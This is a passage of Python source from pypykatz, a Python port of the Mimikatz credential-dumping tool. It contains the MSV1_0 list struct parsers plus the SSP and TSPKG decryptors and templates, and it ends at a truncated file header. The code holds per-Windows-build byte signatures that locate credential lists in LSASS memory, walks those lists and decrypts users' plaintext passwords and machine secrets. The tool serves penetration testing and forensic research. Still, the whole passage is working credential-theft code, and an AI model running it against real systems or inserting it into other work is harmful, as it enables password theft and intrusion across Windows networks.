607 res.SecondaryLocallyUniqueIdentifier = int.from_bytes(t, byteorder = 'little', signed = False)
608 await reader.align()
609 res.UserName = await LSA_UNICODE_STRING.load(reader)
610 res.Domaine = await LSA_UNICODE_STRING.load(reader)
611 res.unk14 = await PVOID.loadvalue(reader)
612 res.unk15 = await PVOID.loadvalue(reader)
613 res.pSid = await PSID.load(reader)
614 res.LogonType = await ULONG.loadvalue(reader)
615 res.Session = await ULONG.loadvalue(reader)
616 await reader.align(8)
617 t = await reader.read(8)
618 res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86
619 res.LogonServer = await LSA_UNICODE_STRING.load(reader)
620 res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader)
621 res.unk19 = await ULONG.loadvalue(reader)
622 await reader.align()
623 res.unk20 = await PVOID.loadvalue(reader)
624 res.unk21 = await PVOID.loadvalue(reader)
625 res.unk22 = await PVOID.loadvalue(reader)
626 res.unk23 = await ULONG.loadvalue(reader)
627 await reader.align()
628 res.CredentialManager = await PVOID.load(reader)
629 return res
630
631 class PKIWI_MSV1_0_LIST_61(POINTER):
632 def __init__(self):
633 super().__init__()
634
635 @staticmethod
636 async def load(reader):
637 p = PKIWI_MSV1_0_LIST_61()
638 p.location = reader.tell()
639 p.value = await reader.read_uint()
640 p.finaltype = KIWI_MSV1_0_LIST_61
641 return p
642
643 class KIWI_MSV1_0_LIST_61:
644 def __init__(self):
645 self.Flink = None
646 self.Blink = None
647 self.unk0 = None
648 self.unk1 = None
649 self.unk2 = None
650 self.unk3 = None
651 self.unk4 = None
652 self.unk5 = None
653 self.hSemaphore6 = None
654 self.unk7 = None
655 self.hSemaphore8 = None
656 self.unk9 = None
657 self.unk10 = None
658 self.unk11 = None
659 self.unk12 = None
660 self.unk13 = None
661 self.LocallyUniqueIdentifier = None
662 self.SecondaryLocallyUniqueIdentifier = None
663 self.UserName = None
664 self.Domaine = None
665 self.unk14 = None
666 self.unk15 = None
667 self.pSid = None
668 self.LogonType = None
669 self.Session = None
670 self.LogonTime = None
671 self.LogonServer = None
672 self.Credentials_list_ptr = None
673 self.unk19 = None
674 self.unk20 = None
675 self.unk21 = None
676 self.unk22 = None
677 self.CredentialManager = None
678
679
680 @staticmethod
681 async def load(reader):
682 res = KIWI_MSV1_0_LIST_61()
683 res.Flink = await PKIWI_MSV1_0_LIST_61.load(reader)
684 res.Blink = await PKIWI_MSV1_0_LIST_61.load(reader)
685 res.unk0 = await PVOID.loadvalue(reader)
686 res.unk1 = await ULONG.loadvalue(reader)
687 await reader.align()
688 res.unk2 = await PVOID.loadvalue(reader)
689 res.unk3 = await ULONG.loadvalue(reader)
690 res.unk4 = await ULONG.loadvalue(reader)
691 res.unk5 = await ULONG.loadvalue(reader)
692 await reader.align()
693 res.hSemaphore6 = await HANDLE.loadvalue(reader)
694 res.unk7 = await PVOID.loadvalue(reader)
695 res.hSemaphore8 = await HANDLE.loadvalue(reader)
696 res.unk9 = await PVOID.loadvalue(reader)
697 res.unk10 = await PVOID.loadvalue(reader)
698 res.unk11 = await ULONG.loadvalue(reader)
699 res.unk12 = await ULONG.loadvalue(reader)
700 res.unk13 = await PVOID.loadvalue(reader)
701 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
702 res.SecondaryLocallyUniqueIdentifier = await LUID.loadvalue(reader)
703 res.UserName = await LSA_UNICODE_STRING.load(reader)
704 res.Domaine = await LSA_UNICODE_STRING.load(reader)
705 res.unk14 = await PVOID.loadvalue(reader)
706 res.unk15 = await PVOID.loadvalue(reader)
707 res.pSid = await PSID.load(reader)
708 res.LogonType = await ULONG.loadvalue(reader)
709 res.Session = await ULONG.loadvalue(reader)
710 await reader.align(8)
711 t = await reader.read(8)
712 res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86
713 res.LogonServer = await LSA_UNICODE_STRING.load(reader)
714 res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader)
715 res.unk19 = await PVOID.loadvalue(reader)
716 res.unk20 = await PVOID.loadvalue(reader)
717 res.unk21 = await PVOID.loadvalue(reader)
718 res.unk22 = await ULONG.loadvalue(reader)
719 await reader.align()
720 res.CredentialManager = await PVOID.load(reader)
721 return res
722
723 class PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ(POINTER):
724 def __init__(self):
725 super().__init__()
726
727 @staticmethod
728 async def load(reader):
729 p = PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ()
730 p.location = reader.tell()
731 p.value = await reader.read_uint()
732 p.finaltype = KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ
733 return p
734
735 class KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ:
736 def __init__(self):
737 self.Flink = None
738 self.Blink = None
739 self.unk0 = None
740 self.unk1 = None
741 self.unk2 = None
742 self.unk3 = None
743 self.unk4 = None
744 self.unk5 = None
745 self.hSemaphore6 = None
746 self.unk7 = None
747 self.hSemaphore8 = None
748 self.unk9 = None
749 self.unk10 = None
750 self.unk11 = None
751 self.unk12 = None
752 self.unk13 = None
753 self.LocallyUniqueIdentifier = None
754 self.SecondaryLocallyUniqueIdentifier = None
755 self.waza = None
756 self.UserName = None
757 self.Domaine = None
758 self.unk14 = None
759 self.unk15 = None
760 self.pSid = None
761 self.LogonType = None
762 self.Session = None
763 self.LogonTime = None
764 self.LogonServer = None
765 self.Credentials_list_ptr = None
766 self.unk19 = None
767 self.unk20 = None
768 self.unk21 = None
769 self.unk22 = None
770 self.CredentialManager = None
771
772 @staticmethod
773 async def load(reader):
774 res = KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ()
775 res.Flink = await PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ.load(reader)
776 res.Blink = await PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ.load(reader)
777 res.unk0 = await PVOID.loadvalue(reader)
778 res.unk1 = await ULONG.loadvalue(reader)
779 await reader.align()
780 res.unk2 = await PVOID.loadvalue(reader)
781 res.unk3 = await ULONG.loadvalue(reader)
782 res.unk4 = await ULONG.loadvalue(reader)
783 res.unk5 = await ULONG.loadvalue(reader)
784 await reader.align()
785 res.hSemaphore6 = await HANDLE.loadvalue(reader)
786 res.unk7 = await PVOID.loadvalue(reader)
787 res.hSemaphore8 = await HANDLE.loadvalue(reader)
788 res.unk9 = await PVOID.loadvalue(reader)
789 res.unk10 = await PVOID.loadvalue(reader)
790 res.unk11 = await ULONG.loadvalue(reader)
791 res.unk12 = await ULONG.loadvalue(reader)
792 res.unk13 = await PVOID.loadvalue(reader)
793 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
794 res.SecondaryLocallyUniqueIdentifier = await LUID.loadvalue(reader)
795 res.waza = await reader.read(12)
796 await reader.align()
797 res.UserName = await LSA_UNICODE_STRING.load(reader)
798 res.Domaine = await LSA_UNICODE_STRING.load(reader)
799 res.unk14 = await PVOID.loadvalue(reader)
800 res.unk15 = await PVOID.loadvalue(reader)
801 res.pSid = await PSID.load(reader)
802 res.LogonType = await ULONG.loadvalue(reader)
803 res.Session = await ULONG.loadvalue(reader)
804 await reader.align(8)
805 t = await reader.read(8)
806 res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86
807 res.LogonServer = await LSA_UNICODE_STRING.load(reader)
808 res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader)
809 res.unk19 = await PVOID.loadvalue(reader)
810 res.unk20 = await PVOID.loadvalue(reader)
811 res.unk21 = await PVOID.loadvalue(reader)
812 res.unk22 = await ULONG.loadvalue(reader)
813 await reader.align()
814 res.CredentialManager = await PVOID.load(reader)
815 return res
816
817 class PKIWI_MSV1_0_LIST_62(POINTER):
818 def __init__(self):
819 super().__init__()
820
821 @staticmethod
822 async def load(reader):
823 p = PKIWI_MSV1_0_LIST_62()
824 p.location = reader.tell()
825 p.value = await reader.read_uint()
826 p.finaltype = KIWI_MSV1_0_LIST_62
827 return p
828
829 class KIWI_MSV1_0_LIST_62:
830 def __init__(self):
831 self.Flink = None
832 self.Blink = None
833 self.unk0 = None
834 self.unk1 = None
835 self.unk2 = None
836 self.unk3 = None
837 self.unk4 = None
838 self.unk5 = None
839 self.hSemaphore6 = None
840 self.unk7 = None
841 self.hSemaphore8 = None
842 self.unk9 = None
843 self.unk10 = None
844 self.unk11 = None
845 self.unk12 = None
846 self.unk13 = None
847 self.LocallyUniqueIdentifier = None
848 self.SecondaryLocallyUniqueIdentifier = None
849 self.UserName = None
850 self.Domaine = None
851 self.unk14 = None
852 self.unk15 = None
853 self.Type = None
854 self.pSid = None
855 self.LogonType = None
856 self.unk18 = None
857 self.Session = None
858 self.LogonTime = None
859 self.LogonServer = None
860 self.Credentials_list_ptr = None
861 self.unk19 = None
862 self.unk20 = None
863 self.unk21 = None
864 self.unk22 = None
865 self.unk23 = None
866 self.unk24 = None
867 self.unk25 = None
868 self.unk26 = None
869 self.unk27 = None
870 self.unk28 = None
871 self.unk29 = None
872 self.CredentialManager = None
873
874 @staticmethod
875 async def load(reader):
876 res = KIWI_MSV1_0_LIST_62()
877 res.Flink = await PKIWI_MSV1_0_LIST_62.load(reader)
878 res.Blink = await PKIWI_MSV1_0_LIST_62.load(reader)
879 res.unk0 = await PVOID.loadvalue(reader)
880 res.unk1 = await ULONG.loadvalue(reader)
881 await reader.align()
882 res.unk2 = await PVOID.loadvalue(reader)
883 res.unk3 = await ULONG.loadvalue(reader)
884 res.unk4 = await ULONG.loadvalue(reader)
885 res.unk5 = await ULONG.loadvalue(reader)
886 await reader.align()
887 res.hSemaphore6 = await HANDLE.loadvalue(reader)
888 res.unk7 = await PVOID.loadvalue(reader)
889 res.hSemaphore8 = await HANDLE.loadvalue(reader)
890 res.unk9 = await PVOID.loadvalue(reader)
891 res.unk10 = await PVOID.loadvalue(reader)
892 res.unk11 = await ULONG.loadvalue(reader)
893 res.unk12 = await ULONG.loadvalue(reader)
894 res.unk13 = await PVOID.loadvalue(reader)
895 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
896 res.SecondaryLocallyUniqueIdentifier = await LUID.loadvalue(reader)
897 res.UserName = await LSA_UNICODE_STRING.load(reader)
898 res.Domaine = await LSA_UNICODE_STRING.load(reader)
899 res.unk14 = await PVOID.loadvalue(reader)
900 res.unk15 = await PVOID.loadvalue(reader)
901 res.Type = await LSA_UNICODE_STRING.load(reader)
902 res.pSid = await PSID.load(reader)
903 res.LogonType = await ULONG.loadvalue(reader)
904 await reader.align()
905 res.unk18 = await PVOID.loadvalue(reader)
906 res.Session = await ULONG.loadvalue(reader)
907 await reader.align()
908 t = await reader.read(8)
909 res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86
910 res.LogonServer = await LSA_UNICODE_STRING.load(reader)
911 res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader)
912 res.unk19 = await PVOID.loadvalue(reader)
913 res.unk20 = await PVOID.loadvalue(reader)
914 res.unk21 = await PVOID.loadvalue(reader)
915 res.unk22 = await ULONG.loadvalue(reader)
916 res.unk23 = await ULONG.loadvalue(reader)
917 res.unk24 = await ULONG.loadvalue(reader)
918 res.unk25 = await ULONG.loadvalue(reader)
919 res.unk26 = await ULONG.loadvalue(reader)
920 await reader.align()
921 res.unk27 = await PVOID.loadvalue(reader)
922 res.unk28 = await PVOID.loadvalue(reader)
923 res.unk29 = await PVOID.loadvalue(reader)
924 res.CredentialManager = await PVOID.load(reader)
925 return res
926
927 class PKIWI_MSV1_0_LIST_63(POINTER):
928 def __init__(self):
929 super().__init__()
930
931 @staticmethod
932 async def load(reader):
933 p = PKIWI_MSV1_0_LIST_63()
934 p.location = reader.tell()
935 p.value = await reader.read_uint()
936 p.finaltype = KIWI_MSV1_0_LIST_63
937 return p
938
939 class KIWI_MSV1_0_LIST_63:
940 def __init__(self):
941 self.Flink = None
942 self.Blink = None
943 self.unk0 = None
944 self.unk1 = None
945 self.unk2 = None
946 self.unk3 = None
947 self.unk4 = None
948 self.unk5 = None
949 self.hSemaphore6 = None
950 self.unk7 = None
951 self.hSemaphore8 = None
952 self.unk9 = None
953 self.unk10 = None
954 self.unk11 = None
955 self.unk12 = None
956 self.unk13 = None
957 self.LocallyUniqueIdentifier = None
958 self.SecondaryLocallyUniqueIdentifier = None
959 self.waza = None
960 self.UserName = None
961 self.Domaine = None
962 self.unk14 = None
963 self.unk15 = None
964 self.Type = None
965 self.pSid = None
966 self.LogonType = None
967 self.unk18 = None
968 self.Session = None
969 self.LogonTime = None
970 self.LogonServer = None
971 self.Credentials_list_ptr = None
972 self.unk19 = None
973 self.unk20 = None
974 self.unk21 = None
975 self.unk22 = None
976 self.unk23 = None
977 self.unk24 = None
978 self.unk25 = None
979 self.unk26 = None
980 self.unk27 = None
981 self.unk28 = None
982 self.unk29 = None
983 self.CredentialManager = None
984
985 @staticmethod
986 async def load(reader):
987 res = KIWI_MSV1_0_LIST_63()
988 res.Flink = await PKIWI_MSV1_0_LIST_63.load(reader)
989 res.Blink = await PKIWI_MSV1_0_LIST_63.load(reader)
990 res.unk0 = await PVOID.loadvalue(reader)
991 res.unk1 = await ULONG.loadvalue(reader)
992 await reader.align()
993 res.unk2 = await PVOID.loadvalue(reader)
994 res.unk3 = await ULONG.loadvalue(reader)
995 res.unk4 = await ULONG.loadvalue(reader)
996 res.unk5 = await ULONG.loadvalue(reader)
997 await reader.align()
998 res.hSemaphore6 = await HANDLE.loadvalue(reader)
999 res.unk7 = await PVOID.loadvalue(reader)
1000 res.hSemaphore8 = await HANDLE.loadvalue(reader)
1001 res.unk9 = await PVOID.loadvalue(reader)
1002 res.unk10 = await PVOID.loadvalue(reader)
1003 res.unk11 = await ULONG.loadvalue(reader)
1004 res.unk12 = await ULONG.loadvalue(reader)
1005 res.unk13 = await PVOID.loadvalue(reader)
1006 await reader.align()
1007 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
1008 res.SecondaryLocallyUniqueIdentifier = await LUID.loadvalue(reader)
1009 res.waza = await reader.read(12)
1010 await reader.align()
1011 res.UserName = await LSA_UNICODE_STRING.load(reader)
1012 res.Domaine = await LSA_UNICODE_STRING.load(reader)
1013 res.unk14 = await PVOID.loadvalue(reader)
1014 res.unk15 = await PVOID.loadvalue(reader)
1015 res.Type = await LSA_UNICODE_STRING.load(reader)
1016 res.pSid = await PSID.load(reader)
1017 res.LogonType = await ULONG.loadvalue(reader)
1018 await reader.align()
1019 res.unk18 = await PVOID.loadvalue(reader)
1020 res.Session = await ULONG.loadvalue(reader)
1021 await reader.align(8)
1022 t = await reader.read(8)
1023 res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86
1024 res.LogonServer = await LSA_UNICODE_STRING.load(reader)
1025 res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader)
1026 res.unk19 = await PVOID.loadvalue(reader)
1027 res.unk20 = await PVOID.loadvalue(reader)
1028 res.unk21 = await PVOID.loadvalue(reader)
1029 res.unk22 = await ULONG.loadvalue(reader)
1030 res.unk23 = await ULONG.loadvalue(reader)
1031 res.unk24 = await ULONG.loadvalue(reader)
1032 res.unk25 = await ULONG.loadvalue(reader)
1033 res.unk26 = await ULONG.loadvalue(reader)
1034 await reader.align()
1035 #input('CredentialManager\n' + hexdump(reader.peek(0x100)))
1036 res.unk27 = await PVOID.loadvalue(reader)
1037 res.unk28 = await PVOID.loadvalue(reader)
1038 res.unk29 = await PVOID.loadvalue(reader)
1039 res.CredentialManager = await PVOID.load(reader)
1040 return res
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6
7 import json
8 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
9
10 class SspCredential:
11 def __init__(self):
12 self.credtype = 'ssp'
13 self.username = None
14 self.domainname = None
15 self.password = None
16 self.luid = None
17
18 def to_dict(self):
19 t = {}
20 t['credtype'] = self.credtype
21 t['username'] = self.username
22 t['domainname'] = self.domainname
23 t['password'] = self.password
24 t['luid'] = self.luid
25 return t
26
27 def to_json(self):
28 return json.dumps(self.to_dict())
29
30 def __str__(self):
31 t = '\t== SSP [%x]==\n' % self.luid
32 t += '\t\tusername %s\n' % self.username
33 t += '\t\tdomainname %s\n' % self.domainname
34 t += '\t\tpassword %s\n' % self.password
35 return t
36
37 class SspDecryptor(PackageDecryptor):
38 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo):
39 super().__init__('Ssp', lsa_decryptor, sysinfo, reader)
40 self.decryptor_template = decryptor_template
41 self.credentials = []
42
43 async def find_first_entry(self):
44 position = await self.find_signature('msv1_0.dll',self.decryptor_template.signature)
45 ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
46 ptr_entry = await self.reader.get_ptr(ptr_entry_loc)
47 return ptr_entry, ptr_entry_loc
48
49 async def add_entry(self, ssp_entry):
50 c = SspCredential()
51 c.luid = ssp_entry.LogonId
52 c.username = await ssp_entry.credentials.Domaine.read_string(self.reader)
53 c.domainname = await ssp_entry.credentials.UserName.read_string(self.reader)
54 if ssp_entry.credentials.Password.Length != 0:
55 if c.username.endswith('$') is True or c.domainname.endswith('$') is True:
56 enc_data = await ssp_entry.credentials.Password.read_data(self.reader)
57 c.password = self.decrypt_password(enc_data, bytes_expected=True)
58 if c.password is not None:
59 c.password = c.password.hex()
60 else:
61 enc_data = await ssp_entry.credentials.Password.read_data(self.reader)
62 c.password = self.decrypt_password(enc_data)
63
64 if c.username == '' and c.domainname == '' and c.password is None:
65 return
66
67 self.credentials.append(c)
68
69 async def start(self):
70 try:
71 entry_ptr_value, entry_ptr_loc = await self.find_first_entry()
72 except Exception as e:
73 self.log('Failed to find structs! Reason: %s' % e)
74 return
75 await self.reader.move(entry_ptr_loc)
76 entry_ptr = await self.decryptor_template.list_entry.load(self.reader)
77 await self.walk_list(entry_ptr, self.add_entry)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6
7 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild
8 from pypykatz.alsadecryptor.win_datatypes import ULONG, LUID, KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER
9 from pypykatz.alsadecryptor.package_commons import PackageTemplate
10
11 class SspTemplate(PackageTemplate):
12 def __init__(self):
13 super().__init__('Ssp')
14 self.signature = None
15 self.first_entry_offset = None
16 self.list_entry = None
17
18 @staticmethod
19 def get_template(sysinfo):
20 template = SspTemplate()
21 template.list_entry = PKIWI_SSP_CREDENTIAL_LIST_ENTRY
22 template.log_template('list_entry', template.list_entry)
23
24 if sysinfo.architecture == KatzSystemArchitecture.X64:
25 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
26 template.signature = b'\xc7\x43\x24\x43\x72\x64\x41\xff\x15'
27 template.first_entry_offset = 16
28
29 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
30 template.signature = b'\xc7\x47\x24\x43\x72\x64\x41\x48\x89\x47\x78\xff\x15'
31 template.first_entry_offset = 20
32
33 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1507.value:
34 template.signature = b'\x24\x43\x72\x64\x41\xff\x15'
35 template.first_entry_offset = 14
36
37 else:
38 #currently this doesnt make sense, but keeping it here for future use
39 raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber))
40
41
42 elif sysinfo.architecture == KatzSystemArchitecture.X86:
43 template.signature = b'\x1c\x43\x72\x64\x41\xff\x15'
44 template.first_entry_offset = 12
45
46 else:
47 raise Exception('Unknown architecture! %s' % sysinfo.architecture)
48
49
50 return template
51
52
53 class PKIWI_SSP_CREDENTIAL_LIST_ENTRY(POINTER):
54 def __init__(self):
55 super().__init__()
56
57 @staticmethod
58 async def load(reader):
59 p = PKIWI_SSP_CREDENTIAL_LIST_ENTRY()
60 p.location = reader.tell()
61 p.value = await reader.read_uint()
62 p.finaltype = KIWI_SSP_CREDENTIAL_LIST_ENTRY
63 return p
64
65 class KIWI_SSP_CREDENTIAL_LIST_ENTRY:
66 def __init__(self):
67 self.Flink = None
68 self.Blink = None
69 self.References = None
70 self.CredentialReferences = None
71 self.LogonId = None
72 self.unk0 = None
73 self.unk1 = None
74 self.unk2 = None
75 self.credentials = None
76
77 @staticmethod
78 async def load(reader):
79 res = KIWI_SSP_CREDENTIAL_LIST_ENTRY()
80 res.Flink = await PKIWI_SSP_CREDENTIAL_LIST_ENTRY.load(reader)
81 res.Blink = await PKIWI_SSP_CREDENTIAL_LIST_ENTRY.load(reader)
82 res.References = await ULONG.loadvalue(reader)
83 res.CredentialReferences = await ULONG.loadvalue(reader)
84 res.LogonId = await LUID.loadvalue(reader)
85 res.unk0 = await ULONG.loadvalue(reader)
86 res.unk1 = await ULONG.loadvalue(reader)
87 res.unk2 = await ULONG.loadvalue(reader)
88 await reader.align()
89 res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader)
90 return res
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 import json
7 from pypykatz import logger
8
9 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
10 from pypykatz.alsadecryptor.win_datatypes import PRTL_AVL_TABLE
11
12 class TspkgCredential:
13 def __init__(self):
14 self.credtype = 'tspkg'
15 self.username = None
16 self.domainname = None
17 self.password = None
18 self.luid = None
19
20 def to_dict(self):
21 t = {}
22 t['credtype'] = self.credtype
23 t['username'] = self.username
24 t['domainname'] = self.domainname
25 t['password'] = self.password
26 t['luid'] = self.luid
27 return t
28 def to_json(self):
29 return json.dumps(self.to_dict())
30
31 def __str__(self):
32 t = '\t== TSPKG [%x]==\n' % self.luid
33 t += '\t\tusername %s\n' % self.username
34 t += '\t\tdomainname %s\n' % self.domainname
35 t += '\t\tpassword %s\n' % self.password
36 return t
37
38 class TspkgDecryptor(PackageDecryptor):
39 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo):
40 super().__init__('Tspkg', lsa_decryptor, sysinfo, reader)
41 self.decryptor_template = decryptor_template
42 self.credentials = []
43
44
45 async def find_first_entry(self):
46 position = await self.find_signature('TSpkg.dll',self.decryptor_template.signature)
47 ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.avl_offset)
48 ptr_entry = await self.reader.get_ptr(ptr_entry_loc)
49 return ptr_entry, ptr_entry_loc
50
51 async def start(self):
52 try:
53 entry_ptr_value, entry_ptr_loc = await self.find_first_entry()
54 except Exception as e:
55 self.log('Failed to find structs! Reason: %s' % e)
56 return
57 result_ptr_list = []
58 await self.reader.move(entry_ptr_value)
59 try:
60 ptable = await PRTL_AVL_TABLE.load(self.reader)
61 start_node = await ptable.read(self.reader)
62 except Exception as e:
63 logger.error('Failed to prcess TSPKG package! Reason: %s' % e)
64 return
65 await self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list)
66 for ptr in result_ptr_list:
67 await self.log_ptr(ptr, self.decryptor_template.credential_struct.__name__)
68 await self.reader.move(ptr)
69 credential_struct = await self.decryptor_template.credential_struct.load(self.reader)
70 primary_credential = await credential_struct.pTsPrimary.read(self.reader)
71 if not primary_credential is None:
72 c = TspkgCredential()
73 c.luid = credential_struct.LocallyUniqueIdentifier
74 #c.username = primary_credential.credentials.UserName.read_string(self.reader)
75 #c.domainname = primary_credential.credentials.Domaine.read_string(self.reader)
76 #### the above two lines will be switched, because it seems that username and domainname is always switched in this package.
77 #### reason is beyond me...
78
79 c.domainname = await primary_credential.credentials.UserName.read_string(self.reader)
80 c.username = await primary_credential.credentials.Domaine.read_string(self.reader)
81
82 if primary_credential.credentials.Password.Length != 0:
83 enc_data = await primary_credential.credentials.Password.read_maxdata(self.reader)
84 if c.username.endswith('$') is True:
85 c.password = self.decrypt_password(enc_data, bytes_expected=True)
86 if c.password is not None:
87 c.password = c.password.hex()
88 else:
89 c.password = self.decrypt_password(enc_data)
90
91 self.credentials.append(c)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 #import io
7 #from minidump.win_datatypes import *
8 from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild
9 from pypykatz.alsadecryptor.win_datatypes import KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER, PVOID, LUID
10 from pypykatz.alsadecryptor.package_commons import PackageTemplate
11
12 class TspkgTemplate(PackageTemplate):
13 def __init__(self):
14 super().__init__('Tspkg')
15 self.signature = None
16 self.avl_offset = None
17 self.credential_struct = None
18
19 @staticmethod
20 def get_template(sysinfo):
21 template = TspkgTemplate()
22 if sysinfo.architecture == KatzSystemArchitecture.X64:
23 template.signature = b'\x48\x83\xec\x20\x48\x8d\x0d'
24 template.avl_offset = 7
25
26 if sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value:
27 template.credential_struct = KIWI_TS_CREDENTIAL_x64
28
29 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value:
30 template.credential_struct = KIWI_TS_CREDENTIAL_1607_x64
31
32 else:
33 #currently this doesnt make sense, but keeping it here for future use
34 raise Exception('Could not identify template! Architecture: %s Buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber))
35
36
37 elif sysinfo.architecture == KatzSystemArchitecture.X86:
38 if sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
39 template.signature = b'\x8b\xff\x55\x8b\xec\x51\x56\xbe'
40 template.avl_offset = 8
41 template.credential_struct = KIWI_TS_CREDENTIAL
42
43 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
44 template.signature = b'\x8b\xff\x53\xbb'
45 template.avl_offset = 4
46 template.credential_struct = KIWI_TS_CREDENTIAL
47
48 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value:
49 template.signature = b'\x8b\xff\x57\xbf'
50 template.avl_offset = 4
51 template.credential_struct = KIWI_TS_CREDENTIAL
52
53 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value:
54 template.signature = b'\x8b\xff\x57\xbf'
55 template.avl_offset = 4
56 template.credential_struct = KIWI_TS_CREDENTIAL_1607
57
58 else:
59 raise Exception('Unknown architecture! %s' % sysinfo.architecture)
60
61 template.log_template('credential_struct', template.credential_struct)
62
63 return template
64
65
66 class PKIWI_TS_PRIMARY_CREDENTIAL(POINTER):
67 def __init__(self):
68 super().__init__()
69
70 @staticmethod
71 async def load(reader):
72 p = PKIWI_TS_PRIMARY_CREDENTIAL()
73 p.location = reader.tell()
74 p.value = await reader.read_uint()
75 p.finaltype = KIWI_TS_PRIMARY_CREDENTIAL
76 return p
77
78 class KIWI_TS_PRIMARY_CREDENTIAL:
79 def __init__(self):
80 self.unk0 = None
81 self.credentials = None
82
83 @staticmethod
84 async def load(reader):
85 res = KIWI_TS_PRIMARY_CREDENTIAL()
86 res.unk0 = await PVOID.load(reader) # // lock ?
87 res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader)
88 return res
89
90
91 class KIWI_TS_CREDENTIAL:
92 def __init__(self,):
93 self.unk0 = None
94 self.LocallyUniqueIdentifier = None
95 self.unk1 = None
96 self.unk2 = None
97 self.pTsPrimary = None
98
99 @staticmethod
100 async def load(reader):
101 res = KIWI_TS_CREDENTIAL()
102 res.unk0 = await reader.read(64)
103 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
104 await reader.align()
105 res.unk1 = await PVOID.load(reader)
106 res.unk2 = await PVOID.load(reader)
107 res.pTsPrimary = await PKIWI_TS_PRIMARY_CREDENTIAL.load(reader)
108 return res
109
110 class KIWI_TS_CREDENTIAL_x64:
111 def __init__(self):
112 self.unk0 = None
113 self.LocallyUniqueIdentifier = None
114 self.unk1 = None
115 self.unk2 = None
116 self.pTsPrimary = None
117
118 @staticmethod
119 async def load(reader):
120 res = KIWI_TS_CREDENTIAL_x64()
121 res.unk0 = await reader.read(108)
122 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
123 await reader.align()
124 res.unk1 = await PVOID.load(reader)
125 res.unk2 = await PVOID.load(reader)
126 res.pTsPrimary = await PKIWI_TS_PRIMARY_CREDENTIAL.load(reader)
127 return res
128
129 class KIWI_TS_CREDENTIAL_1607:
130 def __init__(self):
131 self.unk0 = None
132 self.LocallyUniqueIdentifier = None
133 self.unk1 = None
134 self.unk2 = None
135 self.pTsPrimary = None
136
137 @staticmethod
138 async def load(reader):
139 res = KIWI_TS_CREDENTIAL_1607()
140 res.unk0 = await reader.read(68)
141 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
142 await reader.align()
143 res.unk1 = await PVOID.load(reader)
144 res.unk2 = await PVOID.load(reader)
145 res.pTsPrimary = await PKIWI_TS_PRIMARY_CREDENTIAL.load(reader)
146 return res
147
148
149 class KIWI_TS_CREDENTIAL_1607_x64:
150 def __init__(self):
151 self.unk0 = None
152 self.LocallyUniqueIdentifier = None
153 self.unk1 = None
154 self.unk2 = None
155 self.pTsPrimary = None
156
157 @staticmethod
158 async def load(reader):
159 res = KIWI_TS_CREDENTIAL_1607_x64()
160 res.unk0 = await reader.read(112)
161 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
162 await reader.align()
163 res.unk1 = await PVOID.load(reader)
164 res.unk2 = await PVOID.load(reader)
165 res.pTsPrimary = await PKIWI_TS_PRIMARY_CREDENTIAL.load(reader)
166 return res
0 #!/usr/bin/env python3
1 #
2 # Author:
